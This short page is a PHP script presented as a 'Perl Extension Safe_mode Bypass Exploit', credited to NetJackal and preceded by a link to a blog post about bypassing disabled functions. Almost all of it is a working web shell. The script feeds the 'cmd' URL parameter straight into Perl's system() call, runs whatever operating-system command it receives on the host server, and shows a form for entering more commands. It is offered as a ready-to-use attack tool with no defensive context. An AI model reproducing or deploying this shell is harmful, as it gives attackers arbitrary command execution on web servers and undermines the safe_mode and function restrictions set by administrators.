PHP Perl Extension Safe_mode Bypass Exploit

Z http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

<?php

#########################################################
##----------------------------------------------------###
##----PHP Perl Extension Safe_mode Bypass Exploit-----###
##----------------------------------------------------###
##-Author:--NetJackal---------------------------------###
##-Email:---nima_501[at]yahoo[dot]com-----------------###
##-Website:-http://netjackal.by.ru--------------------###
##----------------------------------------------------###
#########################################################

if(!extension_loaded('perl'))die('perl extension is not loaded');
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "&lt;/textarea&gt;";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>"

?>